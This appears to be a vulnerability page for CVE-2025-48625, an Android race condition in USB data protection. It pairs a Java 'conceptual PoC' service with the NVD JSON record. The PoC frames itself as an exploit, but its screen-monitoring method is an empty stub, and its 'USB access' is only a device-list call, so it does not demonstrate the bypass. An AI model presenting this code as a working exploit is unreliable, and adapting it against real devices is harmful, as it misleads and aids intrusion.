CVE-2025-48625

/* CVE-2025-48625 PoC - Android USB Data Race Condition * This PoC demonstrates the race condition in UsbDataAdvancedProtectionHook.java * that allows USB data access when screen is off. * * Note: This is a conceptual PoC for educational purposes only. * Actual exploitation requires specific timing and device conditions. */ import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.hardware.usb.UsbManager; import android.view.Display; import android.content.Context; public class UsbRaceConditionPOC extends Service { private UsbManager usbManager; private static final int RACE_WINDOW_MS = 50; @Override public void onCreate() { super.onCreate(); usbManager = (UsbManager) getSystemService(Context.USB_SERVICE); } @Override public int onStartCommand(Intent intent, int flags, int startId) { new Thread(new Runnable() { @Override public void run() { exploitRaceCondition(); } }).start(); return START_STICKY; } private void exploitRaceCondition() { /* * Race condition exploitation strategy: * 1. Monitor screen state transitions * 2. Create timing window during screen off/on transitions * 3. Trigger USB data access during the vulnerable window * 4. Bypass UsbDataAdvancedProtectionHook security checks */ while (true) { try { // Step 1: Wait for screen to turn off waitForScreenOff(); // Step 2: Immediately trigger USB access during transition Thread.sleep(RACE_WINDOW_MS / 2); // Step 3: Attempt USB data access // This exploits the race condition in UsbDataAdvancedProtectionHook.java attemptUsbAccess(); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } private void waitForScreenOff() { // Monitor display state changes // Implementation depends on Android version and device } private void attemptUsbAccess() { // Attempt to access USB data that should be blocked when screen is off // The race condition allows this to succeed during timing window if (usbManager != null) { // Trigger USB device enumeration usbManager.getDeviceList(); } } @Override public IBinder onBind(Intent intent) { return null; } }

{"cve": {"id": "CVE-2025-48625", "sourceIdentifier": "[email protected]", "published": "2025-12-08T18:15:51.797", "lastModified": "2025-12-08T20:15:51.643", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations of UsbDataAdvancedProtectionHook.java, there is a possible way to access USB data when the screen is off due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/android-16-qpr2", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}